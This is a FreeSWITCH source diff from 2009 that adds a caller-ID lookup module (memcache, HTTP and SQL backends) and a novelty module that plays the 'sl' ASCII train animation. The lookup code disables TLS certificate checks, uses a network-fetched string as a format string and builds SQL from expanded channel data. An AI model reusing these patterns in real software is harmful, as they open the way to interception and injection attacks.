+			name = NULL;
+		}
+	}
+	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', v:'%s'\n", cmd, (name) ? name : "(null)");
+	switch_safe_free(stream.data);
+	return name;
+}
+
+switch_bool_t set_cache(switch_memory_pool_t *pool, const char *number, const char *cid) {
+	char *cmd;
+	switch_bool_t success = SWITCH_TRUE;
+	switch_stream_handle_t stream = { 0 };
+	
+	SWITCH_STANDARD_STREAM(stream);
+	cmd = switch_core_sprintf(pool, "set fs:cidlookup:%s '%s' %d", number, cid, globals.cache_expire);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: %s\n", cmd);
+	
+	if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
+		if (strncmp("-ERR", stream.data, 4)) {
+			success = SWITCH_TRUE;
+		} else {
+			success = SWITCH_FALSE;
+		}
+	}
+	
+	switch_safe_free(stream.data);
+	return success;
+}
+
+static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
+{
+	register unsigned int realsize = (unsigned int) (size * nmemb);
+	struct http_data *http_data = data;
+
+	http_data->bytes += realsize;
+
+	if (http_data->bytes > http_data->max_bytes) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
+		http_data->err = 1;
+		return 0;
+	}
+
+	http_data->stream.write_function(
+		&http_data->stream, "%.*s",  realsize, ptr);
+	return realsize;
+}
+
+static char *do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, const char *num) {
+	char *name = NULL;
+	char *newurl = NULL;
+	
+	CURL *curl_handle = NULL;
+	long httpRes = 0;
+	char hostname[256] = "";
+
+	struct http_data http_data;
+	
+	memset(&http_data, 0, sizeof(http_data));
+	
+	http_data.max_bytes = 1024;
+	SWITCH_STANDARD_STREAM(http_data.stream);
+
+	gethostname(hostname, sizeof(hostname));
+	
+	newurl = switch_event_expand_headers(event, globals.url);
+	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "url: %s\n", newurl);
+	curl_handle = curl_easy_init();
+	
+	if (!strncasecmp(newurl, "https", 5)) {
+		curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
+		curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
+	}
+	curl_easy_setopt(curl_handle, CURLOPT_POST, SWITCH_FALSE);
+	curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
+	curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
+	curl_easy_setopt(curl_handle, CURLOPT_URL, newurl);
+	curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, file_callback);
+	curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) &http_data);
+	curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "freeswitch-cidlookup/1.0");
+
+	curl_easy_perform(curl_handle);
+	curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
+	curl_easy_cleanup(curl_handle);
+	
+	if (	http_data.stream.data &&
+			!switch_strlen_zero((char *)http_data.stream.data) &&
+			strcmp(" ", http_data.stream.data) ) {
+		
+		name = switch_core_strdup(pool, http_data.stream.data);
+	}
+	
+	if (newurl != globals.url) {
+		switch_safe_free(newurl);
+	}
+	switch_safe_free(http_data.stream.data);
+	return name;
+}
+
+static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
+	char *name = NULL;
+	char *newsql = NULL;
+	callback_t cbt = { 0 };
+	cbt.pool = pool;
+	
+	if (globals.master_odbc) {
+		newsql = switch_event_expand_headers(event, sql);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", newsql);
+		if (cidlookup_execute_sql_callback(newsql, cidlookup_callback, &cbt)) {
+			name = cbt.name;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to lookup cid\n");
+		}
+	}
+	if (newsql != globals.sql) {
+		switch_safe_free(newsql);
+	}
+	return name;
+}
+
+static char *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
+	char *number = NULL;
+	char *name = NULL;
+	
+	number = string_digitsonly(pool, num);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "caller_id_number", number);
+
+	/* database always wins */
+	if (switch_odbc_available() && globals.master_odbc && globals.sql) {
+		name = do_db_lookup(pool, event, number, globals.sql);
+	}
+
+	if (!name && globals.url) {
+		if (globals.cache) {
+			name = check_cache(pool, number);
+		}
+		if (!skipurl && !name) {
+			name = do_lookup_url(pool, event, number);
+			if (globals.cache && name) {
+				set_cache(pool, number, name);
+			}
+		}
+	}
+	/* only do the below if it is a nanpa number */
+	if (!skipcitystate && strlen(number) == 11 && number[0] == '1' &&
+		!name && switch_odbc_available() && globals.master_odbc && globals.citystate_sql) {
+		
+		name = do_db_lookup(pool, event, number, globals.citystate_sql);
+	}
+	return name;
+}
+
+SWITCH_STANDARD_APP(cidlookup_app_function)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	char *argv[4] = { 0 };
+	int argc;
+	char *mydata = NULL;
+	int i;
+
+	switch_memory_pool_t *pool = NULL;
+	switch_event_t *event = NULL;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_caller_profile_t *profile = switch_channel_get_caller_profile(channel);
+	char *name = NULL;
+	const char *number = NULL;
+	switch_bool_t skipurl = SWITCH_FALSE;
+	switch_bool_t skipcitystate = SWITCH_FALSE;
+	
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+	} else {
+		switch_core_new_memory_pool(&pool);
+	}
+	switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+
+	if (!(mydata = switch_core_session_strdup(session, data))) {
+		return;
+	}
+	
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc > 0) {
+			number = switch_core_session_strdup(session, argv[0]);
+		}
+		for (i = 1; i < argc; i++) {
+			if (!strcasecmp(argv[i], "skipurl")) {
+				skipurl = SWITCH_TRUE;
+			} else if (!strcasecmp(argv[i], "skipcitystate")) {
+				skipcitystate = SWITCH_TRUE;
+			}
+		}
+	}
+	
+	if (!number && profile) {
+		number = switch_caller_get_field_by_name(profile, "caller_id_number");
+	}
+	
+	if (number) {
+		name = do_lookup(pool, event, number, skipurl, skipcitystate);
+	}
+	
+	if (name && channel) {
+		switch_channel_set_variable(channel, "original_caller_id_name", switch_core_strdup(pool, profile->caller_id_name));
+		profile->caller_id_name = switch_core_strdup(profile->pool, name);;
+	}
+	
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+	
+done:
+	if (event) {
+		switch_event_destroy(&event);
+	}
+	if (!session && pool) {
+		switch_core_destroy_memory_pool(&pool);
+	}
+}
+SWITCH_STANDARD_API(cidlookup_function)
+{
+	switch_status_t status;
+	char *argv[4] = { 0 };
+	int argc;
+	int i;
+	char *name = NULL;
+	char *mydata = NULL;
+
+	switch_memory_pool_t *pool = NULL;
+	switch_event_t *event = NULL;
+	switch_bool_t skipurl = SWITCH_FALSE;
+	switch_bool_t skipcitystate = SWITCH_FALSE;
+	
+	if (switch_strlen_zero(cmd)) {
+		switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
+	}
+
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+	} else {
+		switch_core_new_memory_pool(&pool);
+	}
+	switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+
+	mydata = strdup(cmd);
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc < 1) {
+			switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
+		}
+		
+		if (!strcmp("status", argv[0])) {
+			stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n", 
+									globals.url,
+									(globals.cache) ? "true" : "false",
+									globals.cache_expire);
+									
+			stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n", 
+									globals.odbc_dsn,
+									globals.sql,
+									globals.citystate_sql);
+			stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available() ? "true" : "false");
+
+			switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+		}
+		for (i = 1; i < argc; i++) {
+			if (!strcasecmp(argv[i], "skipurl")) {
+				skipurl = SWITCH_TRUE;
+			} else if (!strcasecmp(argv[i], "skipcitystate")) {
+				skipcitystate = SWITCH_TRUE;
+			}
+		}
+
+		name = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
+		if (name) {
+			stream->write_function(stream, name);
+		} else {
+			stream->write_function(stream, "UNKNOWN");
+		}
+	}
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+
+usage:
+	stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
+	switch_goto_status(status, done);
+	
+done: 
+	switch_safe_free(mydata);
+	if (event) {
+		switch_event_destroy(&event);
+	}
+	if (!session && pool) {
+		switch_core_destroy_memory_pool(&pool);
+	}
+	return status;
+}
+
+/* Macro expands to: switch_status_t mod_cidlookup_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) */
+SWITCH_MODULE_LOAD_FUNCTION(mod_cidlookup_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_application_interface_t *app_interface;
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	memset(&globals, 0, sizeof(globals));
+	
+	globals.pool = pool;
+
+	if (switch_odbc_available() && !globals.db_mutex) {
+		if (switch_mutex_init(&globals.db_mutex, SWITCH_MUTEX_UNNESTED, globals.pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed to initialize db_mutex\n");
+		}
+	}
+
+	do_config(SWITCH_FALSE);
+	
+	if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
+		return SWITCH_STATUS_TERM;
+	}
+	
+	SWITCH_ADD_API(api_interface, "cidlookup", "cidlookup API", cidlookup_function, SYNTAX);
+	SWITCH_ADD_APP(app_interface, "cidlookup", "Perform a CID lookup", "Perform a CID lookup",
+				   cidlookup_app_function, "[number [skipurl]]", SAF_SUPPORT_NOMEDIA);
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/*
+  Called when the system shuts down
+  Macro expands to: switch_status_t mod_cidlookup_shutdown() */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cidlookup_shutdown)
+{
+	/* Cleanup dynamically allocated config settings */
+
+	if (globals.db_mutex) {
+		switch_mutex_destroy(globals.db_mutex);
+	}
+	if (globals.master_odbc) {
+		switch_odbc_handle_disconnect(globals.master_odbc);
+		switch_odbc_handle_destroy(&globals.master_odbc);
+	}
+
+	switch_event_unbind(&reload_xml_event);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/*
+  If it exists, this is called in it's own thread when the module-load completes
+  If it returns anything but SWITCH_STATUS_TERM it will be called again automatically
+  Macro expands to: switch_status_t mod_cidlookup_runtime()
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_cidlookup_runtime)
+{
+	while(looping)
+	{
+		switch_cond_next();
+	}
+	return SWITCH_STATUS_TERM;
+}
+*/
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Copied: freeswitch/branches/seven/src/mod/applications/mod_cluechoo (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cluechoo)

Property changes: freeswitch/branches/seven/src/mod/applications/mod_cluechoo


Name: svn:ignore
   + mod_cluechoo.so
.libs

Deleted: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cluechoo/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_cluechoo/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_cluechoo/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+BASE=../../../..
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/mod_cluechoo.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/mod_cluechoo.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_cluechoo/mod_cluechoo.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_cluechoo/mod_cluechoo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,496 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Neal Horman <neal at wanlink dot com>
+ *
+ *
+ * mod_cluechoo.c -- Framework Demo Module
+ *
+ */
+#include <switch.h>
+
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cluechoo_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_cluechoo_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_cluechoo_load);
+
+/* SWITCH_MODULE_DEFINITION(name, load, shutdown, runtime) 
+ * Defines a switch_loadable_module_function_table_t and a static const char[] modname
+ */
+SWITCH_MODULE_DEFINITION(mod_cluechoo, mod_cluechoo_load, mod_cluechoo_shutdown, NULL);
+
+int add_D51(int x);
+int add_sl(int x);
+int add_man(int y, int x);
+int add_smoke(int y, int x);
+int go(int i);
+int vgo(int i, switch_core_session_t *session);
+
+SWITCH_STANDARD_APP(cluechoo_app)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	
+	switch_channel_answer(channel);
+	switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
+
+	while(switch_channel_ready(channel)) {
+		if (vgo(0, session) < 0) {
+			break;
+		}
+	}
+}
+
+SWITCH_STANDARD_API(cluechoo_function)
+{
+	//stream->write_function(stream, "+OK Reloading\n");
+	
+	go(0);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* Macro expands to: switch_status_t mod_cluechoo_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) */
+SWITCH_MODULE_LOAD_FUNCTION(mod_cluechoo_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_application_interface_t *app_interface;
+
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
+	
+	SWITCH_ADD_API(api_interface, "cluechoo", "Cluechoo API", cluechoo_function, "syntax");
+
+	SWITCH_ADD_APP(app_interface, "cluechoo", "cluechoo", "cluechoo", cluechoo_app, "", SAF_NONE);
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/*
+  Called when the system shuts down
+  Macro expands to: switch_status_t mod_cluechoo_shutdown() */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cluechoo_shutdown)
+{
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/*========================================
+ *    sl.c:
+ *	Copyright 1993,1998 Toyoda Masashi 
+ *		(toyoda@is.titech.ac.jp)
+ *	Last Modified: 1998/ 7/22
+ *========================================
+ */
+/* sl version 3.03 : add usleep(20000)                                       */
+/*                                              by Toyoda Masashi 1998/ 7/22 */
+/* sl version 3.02 : D51 flies! Change options.                              */
+/*                                              by Toyoda Masashi 1993/ 1/19 */
+/* sl version 3.01 : Wheel turns smoother                                    */
+/*                                              by Toyoda Masashi 1992/12/25 */
+/* sl version 3.00 : Add d(D51) option                                       */
+/*                                              by Toyoda Masashi 1992/12/24 */
+/* sl version 2.02 : Bug fixed.(dust remains in screen)                      */
+/*                                              by Toyoda Masashi 1992/12/17 */
+/* sl version 2.01 : Smoke run and disappear.                                */
+/*                   Change '-a' to accident option.			     */
+/*                                              by Toyoda Masashi 1992/12/16 */
+/* sl version 2.00 : Add a(all),l(long),F(Fly!) options.                     */
+/* 						by Toyoda Masashi 1992/12/15 */
+/* sl version 1.02 : Add turning wheel.                                      */
+/*					        by Toyoda Masashi 1992/12/14 */
+/* sl version 1.01 : Add more complex smoke.                                 */
+/*                                              by Toyoda Masashi 1992/12/14 */
+/* sl version 1.00 : SL runs vomitting out smoke.                            */
+/*						by Toyoda Masashi 1992/12/11 */
+
+#include <curses.h>
+#include <signal.h>
+#include <unistd.h>
+#include "sl.h"
+
+int ACCIDENT  = 0;
+int LOGO      = 0;
+int FLY       = 0;
+
+int my_mvaddstr(int y, int x, char *str)
+{
+    for ( ; x < 0; ++x, ++str)
+		if (*str == '\0')  return ERR;
+    for ( ; *str != '\0'; ++str, ++x)
+		if (mvaddch(y, x, *str) == ERR)  return ERR;
+    return OK;
+}
+
+void option(char *str)
+{
+    extern int ACCIDENT, FLY;
+
+    while (*str != '\0') {
+		switch (*str++) {
+	    case 'a': ACCIDENT = 1; break;
+	    case 'F': FLY      = 1; break;
+	    case 'l': LOGO     = 1; break;
+	    default:                break;
+		}
+    }
+}
+
+int go(int i)
+{
+    int x;
+	int sleep_len = 40000;
+
+	if (i > 0) {
+		sleep_len = i;
+	}
+
+	/*
+    for (i = 1; i < argc; ++i) {
+		if (*argv[i] == '-') {
+			option(argv[i] + 1);
+		}
+    }
+	*/
+    initscr();
+    signal(SIGINT, SIG_IGN);
+    noecho();
+    leaveok(stdscr, TRUE);
+    scrollok(stdscr, FALSE);
+
+    for (x = COLS - 1; ; --x) {
+		if (LOGO == 0) {
+			if (add_D51(x) == ERR) break;
+		} else {
+			if (add_sl(x) == ERR) break;
+		}
+		refresh();
+		if (x == COLS / 4) {
+			sleep(2);
+		} else {
+			usleep(sleep_len);
+		}
+    }
+    mvcur(0, COLS - 1, LINES - 1, 0);
+    endwin();
+
+	return 0;
+}
+
+
+int vgo(int i, switch_core_session_t *session)
+{
+    int x;
+	int sleep_len = 40000;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_frame_t *read_frame;
+	switch_status_t status;
+    switch_codec_implementation_t read_impl = {0};
+	switch_codec_t codec = {0};
+	int hangover_hits = 0, hangunder_hits = 0;
+	int diff_level = 400;
+	int hangover = 40, hangunder = 15;
+	int talking = 0;
+	int energy_level = 500;
+	int done = 0;
+    switch_core_session_get_read_impl(session, &read_impl);
+
+	printf("%s", SWITCH_SEQ_CLEARSCR);
+
+	if (i > 0) {
+		sleep_len = i;
+	}
+
+    initscr();
+    signal(SIGINT, SIG_IGN);
+    noecho();
+    leaveok(stdscr, TRUE);
+    scrollok(stdscr, FALSE);
+
+
+	if (switch_core_codec_init(&codec,
+							   "L16",
+							   NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000, 
+							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+							   switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
+		return -1;
+	}
+
+	switch_core_session_set_read_codec(session, &codec);
+
+    for (x = COLS - 1; ; --x) {
+
+		if (!done && !switch_channel_ready(channel)) {
+			done = 1;
+		}
+		
+		if (!done) {
+			status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
+			if (!SWITCH_READ_ACCEPTABLE(status)) {
+				done = 1;
+			}
+		}
+		
+		if (!done)
+		{
+			int16_t *fdata = (int16_t *) read_frame->data;
+			uint32_t samples = read_frame->datalen / sizeof(*fdata);
+			uint32_t score, count = 0, j = 0;
+			double energy = 0;
+			int divisor = 0;
+
+			
+			for (count = 0; count < samples; count++) {
+				energy += abs(fdata[j]);
+				j += read_impl.number_of_channels;
+			}
+
+			if (!(divisor = read_impl.actual_samples_per_second / 8000)) {
+				divisor = 1;
+			}
+
+			score = (uint32_t) (energy / (samples / divisor));
+			
+			if (score > energy_level) {
+				uint32_t diff = score - energy_level;
+				if (hangover_hits) {
+					hangover_hits--;
+				}
+
+				if (diff >= diff_level || ++hangunder_hits >= hangunder) {
+					hangover_hits = hangunder_hits = 0;
+					
+					if (!talking) {
+						talking = 1;
+					}
+				}
+			} else {
+				if (hangunder_hits) {
+					hangunder_hits--;
+				}
+				if (talking) {
+					if (++hangover_hits >= hangover) {
+						hangover_hits = hangunder_hits = 0;
+						talking = 0;
+					}
+				}
+			}
+
+			if (!talking) {
+				x++;
+				continue;
+			}
+		} else {
+			usleep(20000);
+		}
+
+		if (LOGO == 0) {
+			if (add_D51(x) == ERR) break;
+		} else {
+			if (add_sl(x) == ERR) break;
+		}
+		refresh();
+
+		/*
+		if (x == COLS / 4) {
+			sleep(2);
+		} else {
+			usleep(sleep_len);
+		}
+		*/
+    }
+    mvcur(0, COLS - 1, LINES - 1, 0);
+    endwin();
+
+	switch_core_session_set_read_codec(session, NULL);
+	switch_core_codec_destroy(&codec);
+	return 0;
+}
+
+
+int add_sl(int x)
+{
+    static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
+		= {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
+		   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
+		   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
+		   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
+		   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
+		   {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
+
+    static char *coal[LOGOHIGHT + 1]
+		= {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
+
+    static char *car[LOGOHIGHT + 1]
+		= {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
+
+    int i, y, py1 = 0, py2 = 0, py3 = 0;
+    
+    if (x < - LOGOLENGTH)  return ERR;
+    y = LINES / 2 - 3;
+
+    if (FLY == 1) {
+		y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
+		py1 = 2;  py2 = 4;  py3 = 6;
+    }
+
+    for (i = 0; i <= LOGOHIGHT; ++i) {
+		my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
+		my_mvaddstr(y + i + py1, x + 21, coal[i]);
+		my_mvaddstr(y + i + py2, x + 42, car[i]);
+		my_mvaddstr(y + i + py3, x + 63, car[i]);
+    }
+    if (ACCIDENT == 1) {
+		add_man(y + 1, x + 14);
+		add_man(y + 1 + py2, x + 45);  add_man(y + 1 + py2, x + 53);
+		add_man(y + 1 + py3, x + 66);  add_man(y + 1 + py3, x + 74);
+    }
+    add_smoke(y - 1, x + LOGOFUNNEL);
+    return OK;
+}
+
+static int loops = 0;
+
+int add_D51(int x)
+{
+    static char *d51[D51PATTERNS][D51HIGHT + 1]
+		= {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL11, D51WHL12, D51WHL13, D51DEL},
+		   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL21, D51WHL22, D51WHL23, D51DEL},
+		   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL31, D51WHL32, D51WHL33, D51DEL},
+		   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL41, D51WHL42, D51WHL43, D51DEL},
+		   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL51, D51WHL52, D51WHL53, D51DEL},
+		   {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+			D51WHL61, D51WHL62, D51WHL63, D51DEL}};
+    static char *coal[D51HIGHT + 1]
+		= {COAL01, COAL02, COAL03, COAL04, COAL05,
+		   COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
+
+    static char *acoal[D51HIGHT + 1]
+		= {COAL01, COAL02, COAL03, COAL04, COAL5A,
+		   COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
+
+    int y, i, dy = 0;
+
+    if (x < - D51LENGTH)  return ERR;
+    y = LINES / 2 - 5;
+
+    if (FLY == 1) {
+		y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
+		dy = 1;
+    }
+
+    for (i = 0; i <= D51HIGHT; ++i) {
+		my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
+		my_mvaddstr(y + i + dy, x + 53, loops > 60 ? coal[i] : acoal[i]);
+		loops++;
+		if (loops == 500) loops =  -100;
+    }
+    if (ACCIDENT == 1) {
+		add_man(y + 2, x + 43);
+		add_man(y + 2, x + 47);
+    }
+    add_smoke(y - 1, x + D51FUNNEL);
+    return OK;
+}
+
+
+int add_man(int y, int x)
+{
+    static char *man[2][2] = {{"", "(O)"}, {"Help!", "\\O/"}};
+    int i;
+
+    for (i = 0; i < 2; ++i) {
+		my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
+    }
+
+	return 0;
+}
+
+
+int add_smoke(int y, int x)
+#define SMOKEPTNS	16
+{
+    static struct smokes {
+		int y, x;
+		int ptrn, kind;
+    } S[1000];
+    static int sum = 0;
+    static char *Smoke[2][SMOKEPTNS]
+		= {{"(   )", "(    )", "(    )", "(   )", "(  )",
+			"(  )" , "( )"   , "( )"   , "()"   , "()"  ,
+			"O"    , "O"     , "O"     , "O"    , "O"   ,
+			" "                                          },
+		   {"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
+			"(@@)" , "(@)"   , "(@)"   , "@@"   , "@@"  ,
+			"@"    , "@"     , "@"     , "@"    , "@"   ,
+			" "                                          }};
+    static char *Eraser[SMOKEPTNS]
+		=  {"     ", "      ", "      ", "     ", "    ",
+			"    " , "   "   , "   "   , "  "   , "  "  ,
+			" "    , " "     , " "     , " "    , " "   ,
+			" "                                          };
+    static int dy[SMOKEPTNS] = { 2,  1, 1, 1, 0, 0, 0, 0, 0, 0,
+								 0,  0, 0, 0, 0, 0             };
+    static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
+								2,  2, 2, 3, 3, 3             };
+    int i;
+
+    if (x % 4 == 0) {
+		for (i = 0; i < sum; ++i) {
+			my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
+			S[i].y    -= dy[S[i].ptrn];
+			S[i].x    += dx[S[i].ptrn];
+			S[i].ptrn += (S[i].ptrn < SMOKEPTNS - 1) ? 1 : 0;
+			my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
+		}
+		my_mvaddstr(y, x, Smoke[sum % 2][0]);
+		S[sum].y = y;    S[sum].x = x;
+		S[sum].ptrn = 0; S[sum].kind = sum % 2;
+		sum ++;
+    }
+	
+	return 0;
+}
+
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Deleted: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/sl.h

Copied: freeswitch/branches/seven/src/mod/applications/mod_cluechoo/sl.h (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cluechoo/sl.h) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_cluechoo/sl.h	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_cluechoo/sl.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+/*========================================
+ *    sl.h: Text data of SL version 3.01
+ *	Copyright 1993 Toyoda Masashi 
+ *		(toyoda@is.titech.ac.jp)
+ *	Last Modified: 1992/12/23
+ *========================================
+ */
+
+#define D51HIGHT	10
+#define D51FUNNEL	 7
+#define D51LENGTH       83
+#define D51PATTERNS	 6
+
+
+#define D51STR1  "      ====        ________                ___________ "
+#define D51STR2  "  _D _|  |_______/        \\__I_I_____===__|_________| "
+#define D51STR3  "   |(_)---  |   H\\________/ |   |        =|___ ___|   "
